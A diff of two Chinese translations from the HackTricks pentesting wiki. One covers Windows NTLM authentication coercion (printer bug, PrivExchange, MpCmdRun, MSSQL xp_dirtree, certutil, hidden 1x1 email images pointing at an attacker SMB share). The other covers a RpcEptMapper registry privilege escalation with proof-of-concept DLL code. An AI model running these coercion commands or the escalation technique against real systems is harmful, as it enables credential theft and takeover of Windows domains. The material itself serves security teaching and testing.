您也可以在Linux上使用rpcdump.py,并寻找MS-RPRN协议。
|
||||||
```bash
|
```bash
|
||||||
rpcdump.py DOMAIN/USER:PASSWORD@SERVER.DOMAIN.COM | grep MS-RPRN
|
rpcdump.py DOMAIN/USER:PASSWORD@SERVER.DOMAIN.COM | grep MS-RPRN
|
||||||
```
|
```
|
||||||
### 请求服务对任意主机进行身份验证
|
### 要求服务对任意主机进行身份验证
|
||||||
|
|
||||||
您可以从[这里](https://github.com/NotMedic/NetNTLMtoSilverTicket)编译**SpoolSample**。
|
您可以从[**这里编译SpoolSample**](https://github.com/NotMedic/NetNTLMtoSilverTicket)**。**
|
||||||
```bash
|
```bash
|
||||||
SpoolSample.exe <TARGET> <RESPONDERIP>
|
SpoolSample.exe <TARGET> <RESPONDERIP>
|
||||||
```
|
```
|
||||||
或者在Linux上使用[**3xocyte的dementor.py**](https://github.com/NotMedic/NetNTLMtoSilverTicket)或[**printerbug.py**](https://github.com/dirkjanm/krbrelayx/blob/master/printerbug.py)。
|
或者如果您使用的是Linux,可以使用 [**3xocyte's dementor.py**](https://github.com/NotMedic/NetNTLMtoSilverTicket) 或 [**printerbug.py**](https://github.com/dirkjanm/krbrelayx/blob/master/printerbug.py)
|
||||||
```bash
|
```bash
|
||||||
python dementor.py -d domain -u username -p password <RESPONDERIP> <TARGET>
|
python dementor.py -d domain -u username -p password <RESPONDERIP> <TARGET>
|
||||||
printerbug.py 'domain/username:password'@<Printer IP> <RESPONDERIP>
|
printerbug.py 'domain/username:password'@<Printer IP> <RESPONDERIP>
|
||||||
```
|
```
|
||||||
### 结合无限制委派
|
### 结合无限制委派
|
||||||
|
|
||||||
如果攻击者已经入侵了具有[无限制委派](unconstrained-delegation.md)的计算机,攻击者可以**使打印机对该计算机进行身份验证**。由于存在无限制委派,**打印机的计算机帐户的TGT将保存在**具有无限制委派的计算机的**内存**中。由于攻击者已经入侵了该主机,他将能够**检索此票证**并滥用它([传递票证](pass-the-ticket.md))。
|
如果攻击者已经攻破了一个具有[无限制委派](unconstrained-delegation.md)的计算机,攻击者可以**让打印机对这台计算机进行认证**。由于无限制委派,**打印机的计算机账户的TGT**将会被**保存在**具有无限制委派的计算机的**内存**中。由于攻击者已经攻破了这台主机,他将能够**检索这个票据**并滥用它([传递票据](pass-the-ticket.md))。
|
||||||
|
|
||||||
## RCP强制身份验证
|
## RCP 强制认证
|
||||||
|
|
||||||
{% embed url="https://github.com/p0dalirius/Coercer" %}
|
{% embed url="https://github.com/p0dalirius/Coercer" %}
|
||||||
|
|
||||||
## PrivExchange
|
## PrivExchange
|
||||||
|
|
||||||
`PrivExchange`攻击是由于Exchange Server的`PushSubscription`功能中的一个缺陷导致的,该功能允许**任何具有邮箱的域用户强制Exchange服务器对客户端提供的任何主机进行身份验证**。
|
`PrivExchange`攻击是由于在**Exchange Server `PushSubscription`功能**中发现的一个缺陷。这个功能允许任何拥有邮箱的域用户强制Exchange服务器通过HTTP对任何客户端提供的主机进行认证。
|
||||||
|
|
||||||
Exchange服务以**SYSTEM**身份运行,并且默认情况下**权限过高**(即,在2019年累积更新之前具有对域的WriteDacl权限)。可以利用此缺陷来**中继到LDAP并转储域NTDS数据库**。如果无法中继到LDAP,则可以利用此缺陷中继和对域内的**其他主机进行身份验证**。此攻击将使您可以使用任何经过身份验证的域用户帐户直接访问域管理员。
|
默认情况下,**Exchange服务以SYSTEM身份运行**并被赋予过多的权限(具体来说,它在2019年累积更新前对域具有**WriteDacl权限**)。这个缺陷可以被利用来启用**信息的中继到LDAP并随后提取域的NTDS数据库**。在无法中继到LDAP的情况下,这个缺陷仍然可以被用来中继和认证到域内的其他主机。成功利用这个攻击可以立即用任何经过认证的域用户账户访问域管理员。
|
||||||
|
|
||||||
****[**此技术的来源在此。**](https://academy.hackthebox.com/module/143/section/1276)****
|
## Windows内部
|
||||||
|
|
||||||
## 在Windows内部
|
如果你已经进入了Windows机器,你可以强制Windows使用具有特权的账户连接到服务器,使用:
|
||||||
|
|
||||||
如果您已经在Windows机器内部,可以使用特权帐户强制Windows连接到服务器,方法如下:
|
|
||||||
|
|
||||||
### Defender MpCmdRun
|
### Defender MpCmdRun
|
||||||
```bash
|
```bash
|
||||||
C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2010.7-0\MpCmdRun.exe -Scan -ScanType 3 -File \\<YOUR IP>\file.txt
|
C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2010.7-0\MpCmdRun.exe -Scan -ScanType 3 -File \\<YOUR IP>\file.txt
|
||||||
```
|
```
|
||||||
### MSSQL
|
### MSSQL
|
||||||
|
|
||||||
MSSQL(Microsoft SQL Server)是一种关系型数据库管理系统,常用于存储和管理大量数据。它是由微软开发的,广泛应用于企业和组织的数据管理中。
|
|
||||||
|
|
||||||
MSSQL具有强大的功能和安全性,但在配置不当的情况下,可能会存在安全漏洞。黑客可以利用这些漏洞来获取未经授权的访问权限,并对数据库进行恶意操作。
|
|
||||||
|
|
||||||
以下是一些常见的MSSQL攻击技术:
|
|
||||||
|
|
||||||
1. **SQL注入攻击**:黑客通过在应用程序的输入字段中插入恶意SQL代码,来执行未经授权的数据库操作。这可以导致数据泄露、数据篡改或拒绝服务攻击。
|
|
||||||
|
|
||||||
2. **弱密码攻击**:黑客使用暴力破解或字典攻击等方法,尝试猜解MSSQL数据库的管理员密码。如果管理员使用弱密码,黑客可以轻松获取对数据库的完全控制权。
|
|
||||||
|
|
||||||
3. **未经授权的访问**:黑客可以通过利用MSSQL服务器上的安全漏洞,绕过身份验证机制,获取对数据库的未经授权访问权限。这可能导致数据泄露、数据篡改或拒绝服务攻击。
|
|
||||||
|
|
||||||
为了保护MSSQL数据库免受攻击,以下是一些建议的安全措施:
|
|
||||||
|
|
||||||
1. **更新和修补**:定期更新和修补MSSQL服务器,以确保安装了最新的安全补丁和修复程序。
|
|
||||||
|
|
||||||
2. **强密码策略**:使用强密码,并定期更改密码。避免使用常见的密码,如生日、姓名或简单的数字序列。
|
|
||||||
|
|
||||||
3. **访问控制**:限制对MSSQL服务器的访问权限,并仅授权给需要访问数据库的用户。
|
|
||||||
|
|
||||||
4. **安全审计**:启用MSSQL服务器的安全审计功能,以便监控和记录对数据库的访问和操作。
|
|
||||||
|
|
||||||
5. **网络安全**:使用防火墙和入侵检测系统来保护MSSQL服务器免受网络攻击。
|
|
||||||
|
|
||||||
通过采取这些安全措施,可以大大减少MSSQL数据库受到攻击的风险,并保护组织的数据安全。
|
|
||||||
```sql
|
```sql
|
||||||
EXEC xp_dirtree '\\10.10.17.231\pwn', 1, 1
|
EXEC xp_dirtree '\\10.10.17.231\pwn', 1, 1
|
||||||
```
|
```
|
||||||
或者使用另一种技术:[https://github.com/p0dalirius/MSSQL-Analysis-Coerce](https://github.com/p0dalirius/MSSQL-Analysis-Coerce)
|
或使用此其他技术:[https://github.com/p0dalirius/MSSQL-Analysis-Coerce](https://github.com/p0dalirius/MSSQL-Analysis-Coerce)
|
||||||
|
|
||||||
### Certutil
|
### Certutil
|
||||||
|
|
||||||
可以使用certutil.exe(Microsoft签名的二进制文件)来强制执行NTLM身份验证:
|
可以使用 certutil.exe lolbin(Microsoft签名的二进制文件)来强制 NTLM 认证:
|
||||||
```bash
|
```bash
|
||||||
certutil.exe -syncwithWU \\127.0.0.1\share
|
certutil.exe -syncwithWU \\127.0.0.1\share
|
||||||
```
|
```
|
||||||
## HTML注入
|
## HTML 注入
|
||||||
|
|
||||||
### 通过电子邮件
|
### 通过电子邮件
|
||||||
|
|
||||||
如果你知道你想入侵的机器上登录用户的**电子邮件地址**,你可以发送一封带有一个1x1像素的**图片的电子邮件**,例如:
|
如果您知道登录您想要攻破的计算机的用户的**电子邮件地址**,您可以向他发送一封包含**1x1图像**的**电子邮件**,例如
|
||||||
```html
|
```html
|
||||||
<img src="\\10.10.17.231\test.ico" height="1" width="1" />
|
<img src="\\10.10.17.231\test.ico" height="1" width="1" />
|
||||||
```
|
```
|
||||||
### MitM
|
### MitM
|
||||||
|
|
||||||
如果你能对一台计算机进行中间人攻击,并在他可视化的页面中注入HTML,你可以尝试在页面中注入如下图像:
|
如果你能对一台计算机执行MitM攻击,并在他将要查看的页面中注入HTML,你可以尝试在页面中注入如下图像:
|
||||||
```html
|
```html
|
||||||
<img src="\\10.10.17.231\test.ico" height="1" width="1" />
|
<img src="\\10.10.17.231\test.ico" height="1" width="1" />
|
||||||
```
|
```
|
||||||
## 破解NTLMv1
|
## 破解 NTLMv1
|
||||||
|
|
||||||
如果你能够捕获到[NTLMv1的挑战,请阅读这里如何破解它们](../ntlm/#ntlmv1-attack)。\
|
如果你能够捕获 [NTLMv1 挑战,请阅读这里了解如何破解它们](../ntlm/#ntlmv1-attack)。\
|
||||||
_请记住,为了破解NTLMv1,你需要将Responder的挑战设置为"1122334455667788"_。
|
_记住,为了破解 NTLMv1,你需要将 Responder 挑战设置为 "1122334455667788"_
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||||
|
|
||||||
* 你在一家**网络安全公司**工作吗?你想在HackTricks中看到你的**公司广告**吗?或者你想要**获取PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 你在一家**网络安全公司**工作吗?你想在 **HackTricks** 中看到你的**公司广告**吗?或者你想要访问**最新版本的 PEASS 或下载 HackTricks 的 PDF**?查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
* 发现[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFTs**](https://opensea.io/collection/the-peass-family) 收藏。
|
||||||
* 获取[**官方PEASS和HackTricks的衍生品**](https://peass.creator-spring.com)
|
* 获取[**官方的 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **推特** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**上关注**我。
|
||||||
* **通过向[hacktricks仓库](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud仓库](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**。
|
* **通过向 [hacktricks 仓库](https://github.com/carlospolop/hacktricks) 和 [hacktricks-cloud 仓库](https://github.com/carlospolop/hacktricks-cloud) 提交 PR 来分享你的黑客技巧**。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -1,340 +1,55 @@
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>零基础学习AWS黑客技术成为高手</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>从零开始学习AWS黑客攻击直到成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
支持HackTricks的其他方式:
|
支持HackTricks的其他方式:
|
||||||
|
|
||||||
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。**
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
|
|
||||||
**信息复制自** [**https://itm4n.github.io/windows-registry-rpceptmapper-eop/**](https://itm4n.github.io/windows-registry-rpceptmapper-eop/)
|
**原始帖子在** [**https://itm4n.github.io/windows-registry-rpceptmapper-eop/**](https://itm4n.github.io/windows-registry-rpceptmapper-eop/)
|
||||||
|
|
||||||
根据脚本的输出,当前用户在两个注册表键上拥有一些写权限:
|
## 摘要
|
||||||
|
脚本输出表明当前用户拥有对两个注册表键的写权限:
|
||||||
|
|
||||||
* `HKLM\SYSTEM\CurrentControlSet\Services\Dnscache`
|
- `HKLM\SYSTEM\CurrentControlSet\Services\Dnscache`
|
||||||
* `HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper`
|
- `HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper`
|
||||||
|
|
||||||
让我们使用`regedit` GUI手动检查`RpcEptMapper`服务的权限。我真正喜欢的_高级安全设置_窗口中的一个功能是_有效权限_标签页。您可以选择任何用户或组名,并立即查看授予该主体的有效权限,无需单独检查所有ACE。以下截图显示了低权限的`lab-user`账户的结果。
|
为了进一步调查RpcEptMapper服务的权限,用户提到使用regedit GUI,并强调了高级安全设置窗口的有效权限选项卡的有用性。该选项卡允许用户检查授予特定用户或组的有效权限,而无需检查单个ACE。
|
||||||
|
|
||||||
![](https://itm4n.github.io/assets/posts/2020-11-12-windows-registry-rpceptmapper-eop/02\_regsitry-rpceptmapper-permissions.png)
|
提供的截图显示了低权限lab-user账户的权限。大多数权限是标准的,例如查询值,但有一个权限突出显示:创建子键。这个权限的通用名称是AppendData/AddSubdirectory,这与脚本报告的内容一致。
|
||||||
|
|
||||||
大多数权限是标准的(例如:`Query Value`),但有一个特别突出的权限:`Create Subkey`。对应于此权限的通用名称是`AppendData/AddSubdirectory`,这正是脚本报告的内容:
|
用户继续解释,这意味着他们不能直接修改某些值,只能创建新的子键。他们展示了一个尝试修改ImagePath值结果访问被拒绝的错误的例子。
|
||||||
```
|
|
||||||
Name : RpcEptMapper
|
|
||||||
ImagePath : C:\Windows\system32\svchost.exe -k RPCSS
|
|
||||||
User : NT AUTHORITY\NetworkService
|
|
||||||
ModifiablePath : {Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\RpcEptMapper}
|
|
||||||
IdentityReference : NT AUTHORITY\Authenticated Users
|
|
||||||
Permissions : {ReadControl, AppendData/AddSubdirectory, ReadData/ListDirectory}
|
|
||||||
Status : Running
|
|
||||||
UserCanStart : True
|
|
||||||
UserCanRestart : False
|
|
||||||
|
|
||||||
Name : RpcEptMapper
|
然而,他们澄清这不是一个假阳性,并且这里有一个有趣的机会。他们调查了Windows注册表结构,并发现了一个潜在的方法来利用Performance子键,这个子键对于RpcEptMapper服务来说默认是不存在的。这个子键可能允许DLL注册和性能监控,提供了提权的机会。
|
||||||
ImagePath : C:\Windows\system32\svchost.exe -k RPCSS
|
|
||||||
User : NT AUTHORITY\NetworkService
|
|
||||||
ModifiablePath : {Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\RpcEptMapper}
|
|
||||||
IdentityReference : BUILTIN\Users
|
|
||||||
Permissions : {WriteExtendedAttributes, AppendData/AddSubdirectory, ReadData/ListDirectory}
|
|
||||||
Status : Running
|
|
||||||
UserCanStart : True
|
|
||||||
UserCanRestart : False
|
|
||||||
```
|
|
||||||
这到底意味着什么?这意味着我们不能仅仅修改`ImagePath`值。要做到这一点,我们需要`WriteData/AddFile`权限。相反,我们只能创建一个新的子键。
|
|
||||||
|
|
||||||
![](https://itm4n.github.io/assets/posts/2020-11-12-windows-registry-rpceptmapper-eop/03\_registry-imagepath-access-denied.png)
|
他们提到他们发现了与Performance子键相关的文档以及如何用于性能监控。这引导他们创建了一个概念验证DLL,并展示了实现所需功能的代码:OpenPerfData、CollectPerfData和ClosePerfData。他们还导出这些函数以供外部使用。
|
||||||
|
|
||||||
这是否意味着这确实是一个误报?当然不是。让乐趣开始吧!
|
用户演示了使用rundll32测试DLL以确保其按预期工作,成功记录信息。
|
||||||
|
|
||||||
## RTFM <a href="#rtfm" id="rtfm"></a>
|
接下来,他们解释了挑战是如何欺骗RPC Endpoint Mapper服务加载他们的Performance DLL。他们提到,当在PowerShell中查询与性能数据相关的WMI类时,他们观察到他们的日志文件被创建。这允许他们在WMI服务的上下文中执行任意代码,该服务以LOCAL SYSTEM身份运行。这为他们提供了意外和提升的访问权限。
|
||||||
|
|
||||||
此时,我们知道我们可以在`HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper`下创建任意子键,但我们不能修改现有的子键和值。这些已经存在的子键是`Parameters`和`Security`,这对于Windows服务来说是相当常见的。
|
最后,用户强调了这个漏洞的未解释持久性及其潜在影响,这可能扩展到事后利用、横向移动和防病毒/EDR规避。
|
||||||
|
|
||||||
![](https://itm4n.github.io/assets/posts/2020-11-12-windows-registry-rpceptmapper-eop/04\_registry-rpceptmapper-config.png)
|
他们还提到,虽然他们最初通过他们的脚本无意中公开了这个漏洞,但其影响仅限于不受支持的Windows版本(例如,Windows 7 / Server 2008 R2)且需要本地访问。
|
||||||
|
|
||||||
因此,我脑海中出现的第一个问题是:_是否有任何其他预定义的子键 - 如`Parameters`和`Security` - 我们可以利用它来有效地修改服务的配置并以任何方式改变其行为?_
|
|
||||||
|
|
||||||
为了回答这个问题,我的初步计划是枚举所有现有的键,并尝试识别一个模式。想法是看看哪些子键对于服务的配置是_有意义的_。我开始考虑如何在PowerShell中实现这一点,然后对结果进行排序。不过,在这样做之前,我想知道这个注册表结构是否已经有文档记录。所以,我谷歌了类似`windows service configuration registry site:microsoft.com`的内容,这是我得到的第一个[结果](https://docs.microsoft.com/en-us/windows-hardware/drivers/install/hklm-system-currentcontrolset-services-registry-tree)。
|
|
||||||
|
|
||||||
![](https://itm4n.github.io/assets/posts/2020-11-12-windows-registry-rpceptmapper-eop/05\_google-search-registry-services.png)
|
|
||||||
|
|
||||||
看起来很有希望,不是吗?乍一看,文档似乎不是很全面和完整。考虑到标题,我期望看到某种树状结构详细描述定义服务配置的所有子键和值,但显然并没有。
|
|
||||||
|
|
||||||
![](https://itm4n.github.io/assets/posts/2020-11-12-windows-registry-rpceptmapper-eop/06\_doc-registry-services.png)
|
|
||||||
|
|
||||||
尽管如此,我还是快速浏览了每个段落。很快,我就发现了关键词“_**Performance**_”和“_**DLL**_”。在“**Performance**”的小标题下,我们可以读到以下内容:
|
|
||||||
|
|
||||||
> **Performance**:_一个指定可选性能监控信息的键。此键下的值指定**驱动程序性能DLL的名称**和**该DLL中某些导出函数的名称**。您可以使用驱动程序的INF文件中的AddReg条目向此子键添加值条目。_
|
|
||||||
|
|
||||||
根据这段简短的段落,理论上可以在驱动服务中注册一个DLL,以便借助`Performance`子键监控其性能。**好的,这真的很有趣!**对于`RpcEptMapper`服务来说,这个键默认是不存在的,看起来正是我们需要的。不过有一个小问题,这个服务绝对不是一个驱动服务。无论如何,这仍然值得一试,但我们首先需要更多关于这个“_性能监控_”功能的信息。
|
|
||||||
|
|
||||||
![](https://itm4n.github.io/assets/posts/2020-11-12-windows-registry-rpceptmapper-eop/07\_sc-qc-rpceptmapper.png)
|
|
||||||
|
|
||||||
> **注意:**在Windows中,每个服务都有一个给定的`Type`。服务类型可以是以下值之一:`SERVICE_KERNEL_DRIVER (1)`,`SERVICE_FILE_SYSTEM_DRIVER (2)`,`SERVICE_ADAPTER (4)`,`SERVICE_RECOGNIZER_DRIVER (8)`,`SERVICE_WIN32_OWN_PROCESS (16)`,`SERVICE_WIN32_SHARE_PROCESS (32)`或`SERVICE_INTERACTIVE_PROCESS (256)`。
|
|
||||||
|
|
||||||
经过一些谷歌搜索,我在文档中找到了这个资源:[创建应用程序的性能键](https://docs.microsoft.com/en-us/windows/win32/perfctrs/creating-the-applications-performance-key)。
|
|
||||||
|
|
||||||
![](https://itm4n.github.io/assets/posts/2020-11-12-windows-registry-rpceptmapper-eop/08\_performance-subkey-documentation.png)
|
|
||||||
|
|
||||||
首先,有一个很好的树状结构列出了我们必须创建的所有键和值。然后,描述提供了以下关键信息:
|
|
||||||
|
|
||||||
* `Library`值可以包含**一个DLL名称或一个DLL的完整路径**。
|
|
||||||
* `Open`、`Collect`和`Close`值允许您指定**应该由DLL导出的函数名称**。
|
|
||||||
* 这些值的数据类型是`REG_SZ`(甚至对于`Library`值也可以是`REG_EXPAND_SZ`)。
|
|
||||||
|
|
||||||
如果你跟随这个资源中包含的链接,你甚至会找到这些函数的原型以及一些代码示例:[实现OpenPerformanceData](https://docs.microsoft.com/en-us/windows/win32/perfctrs/implementing-openperformancedata)。
|
|
||||||
```
|
|
||||||
DWORD APIENTRY OpenPerfData(LPWSTR pContext);
|
|
||||||
DWORD APIENTRY CollectPerfData(LPWSTR pQuery, PVOID* ppData, LPDWORD pcbData, LPDWORD pObjectsReturned);
|
|
||||||
DWORD APIENTRY ClosePerfData();
|
|
||||||
```
|
|
||||||
## 编写概念验证 <a href="#writing-a-proof-of-concept" id="writing-a-proof-of-concept"></a>
|
|
||||||
|
|
||||||
感谢我能够从文档中收集到的所有信息,编写一个简单的概念验证 DLL 应该相当直接。但我们仍然需要一个计划!
|
|
||||||
|
|
||||||
当我需要利用某种 DLL 劫持漏洞时,我通常会从一个简单的自定义日志辅助函数开始。这个函数的目的是在每次调用时将一些关键信息写入文件。通常,我会记录当前进程和父进程的 PID,运行进程的用户名称及其对应的命令行。我还会记录触发此日志事件的函数名称。这样,我就知道哪部分代码被执行了。
|
|
||||||
|
|
||||||
在我的其他文章中,我总是跳过开发部分,因为我假设这或多或少是显而易见的。但是,我也希望我的博客文章对初学者友好,所以这里有一个矛盾。我将在这里通过详细介绍过程来解决这个情况。那么,让我们启动 Visual Studio 并创建一个新的“_C++ 控制台应用程序_”项目。请注意,我本可以创建一个“_动态链接库 (DLL)_”项目,但我发现实际上从控制台应用程序开始更容易。
|
|
||||||
|
|
||||||
以下是 Visual Studio 生成的初始代码:
|
|
||||||
```c
|
|
||||||
#include <iostream>
|
|
||||||
|
|
||||||
int main()
|
|
||||||
{
|
|
||||||
std::cout << "Hello World!\n";
|
|
||||||
}
|
|
||||||
```
|
|
||||||
当然,这不是我们想要的。我们想要创建一个DLL,而不是EXE,所以我们必须用`DllMain`函数替换`main`函数。你可以在文档中找到这个函数的框架代码:[初始化一个DLL](https://docs.microsoft.com/en-us/cpp/build/run-time-library-behavior#initialize-a-dll)。
|
|
||||||
```c
|
|
||||||
#include <Windows.h>
|
|
||||||
|
|
||||||
extern "C" BOOL WINAPI DllMain(HINSTANCE const instance, DWORD const reason, LPVOID const reserved)
|
|
||||||
{
|
|
||||||
switch (reason)
|
|
||||||
{
|
|
||||||
case DLL_PROCESS_ATTACH:
|
|
||||||
Log(L"DllMain"); // See log helper function below
|
|
||||||
break;
|
|
||||||
case DLL_THREAD_ATTACH:
|
|
||||||
break;
|
|
||||||
case DLL_THREAD_DETACH:
|
|
||||||
break;
|
|
||||||
case DLL_PROCESS_DETACH:
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
return TRUE;
|
|
||||||
}
|
|
||||||
```
|
|
||||||
```markdown
|
|
||||||
同时,我们还需要更改项目设置,以指定输出编译文件应该是DLL而不是EXE。为此,您可以打开项目属性,在“**常规**”部分,选择“**动态库(.dll)**”作为“**配置类型**”。在标题栏下方,您还可以选择“**所有配置**”和“**所有平台**”,以便全局应用此设置。
|
|
||||||
|
|
||||||
接下来,我添加了我的自定义日志辅助函数。
|
|
||||||
```
|
|
||||||
```c
|
|
||||||
#include <Lmcons.h> // UNLEN + GetUserName
|
|
||||||
#include <tlhelp32.h> // CreateToolhelp32Snapshot()
|
|
||||||
#include <strsafe.h>
|
|
||||||
|
|
||||||
void Log(LPCWSTR pwszCallingFrom)
|
|
||||||
{
|
|
||||||
LPWSTR pwszBuffer, pwszCommandLine;
|
|
||||||
WCHAR wszUsername[UNLEN + 1] = { 0 };
|
|
||||||
SYSTEMTIME st = { 0 };
|
|
||||||
HANDLE hToolhelpSnapshot;
|
|
||||||
PROCESSENTRY32 stProcessEntry = { 0 };
|
|
||||||
DWORD dwPcbBuffer = UNLEN, dwBytesWritten = 0, dwProcessId = 0, dwParentProcessId = 0, dwBufSize = 0;
|
|
||||||
BOOL bResult = FALSE;
|
|
||||||
|
|
||||||
// Get the command line of the current process
|
|
||||||
pwszCommandLine = GetCommandLine();
|
|
||||||
|
|
||||||
// Get the name of the process owner
|
|
||||||
GetUserName(wszUsername, &dwPcbBuffer);
|
|
||||||
|
|
||||||
// Get the PID of the current process
|
|
||||||
dwProcessId = GetCurrentProcessId();
|
|
||||||
|
|
||||||
// Get the PID of the parent process
|
|
||||||
hToolhelpSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
|
|
||||||
stProcessEntry.dwSize = sizeof(PROCESSENTRY32);
|
|
||||||
if (Process32First(hToolhelpSnapshot, &stProcessEntry)) {
|
|
||||||
do {
|
|
||||||
if (stProcessEntry.th32ProcessID == dwProcessId) {
|
|
||||||
dwParentProcessId = stProcessEntry.th32ParentProcessID;
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
} while (Process32Next(hToolhelpSnapshot, &stProcessEntry));
|
|
||||||
}
|
|
||||||
CloseHandle(hToolhelpSnapshot);
|
|
||||||
|
|
||||||
// Get the current date and time
|
|
||||||
GetLocalTime(&st);
|
|
||||||
|
|
||||||
// Prepare the output string and log the result
|
|
||||||
dwBufSize = 4096 * sizeof(WCHAR);
|
|
||||||
pwszBuffer = (LPWSTR)malloc(dwBufSize);
|
|
||||||
if (pwszBuffer)
|
|
||||||
{
|
|
||||||
StringCchPrintf(pwszBuffer, dwBufSize, L"[%.2u:%.2u:%.2u] - PID=%d - PPID=%d - USER='%s' - CMD='%s' - METHOD='%s'\r\n",
|
|
||||||
st.wHour,
|
|
||||||
st.wMinute,
|
|
||||||
st.wSecond,
|
|
||||||
dwProcessId,
|
|
||||||
dwParentProcessId,
|
|
||||||
wszUsername,
|
|
||||||
pwszCommandLine,
|
|
||||||
pwszCallingFrom
|
|
||||||
);
|
|
||||||
|
|
||||||
LogToFile(L"C:\\LOGS\\RpcEptMapperPoc.log", pwszBuffer);
|
|
||||||
|
|
||||||
free(pwszBuffer);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
```
|
|
||||||
然后,我们可以用文档中看到的三个函数填充DLL。文档还指出,如果成功,它们应该返回`ERROR_SUCCESS`。
|
|
||||||
```c
|
|
||||||
DWORD APIENTRY OpenPerfData(LPWSTR pContext)
|
|
||||||
{
|
|
||||||
Log(L"OpenPerfData");
|
|
||||||
return ERROR_SUCCESS;
|
|
||||||
}
|
|
||||||
|
|
||||||
DWORD APIENTRY CollectPerfData(LPWSTR pQuery, PVOID* ppData, LPDWORD pcbData, LPDWORD pObjectsReturned)
|
|
||||||
{
|
|
||||||
Log(L"CollectPerfData");
|
|
||||||
return ERROR_SUCCESS;
|
|
||||||
}
|
|
||||||
|
|
||||||
DWORD APIENTRY ClosePerfData()
|
|
||||||
{
|
|
||||||
Log(L"ClosePerfData");
|
|
||||||
return ERROR_SUCCESS;
|
|
||||||
}
|
|
||||||
```
|
|
||||||
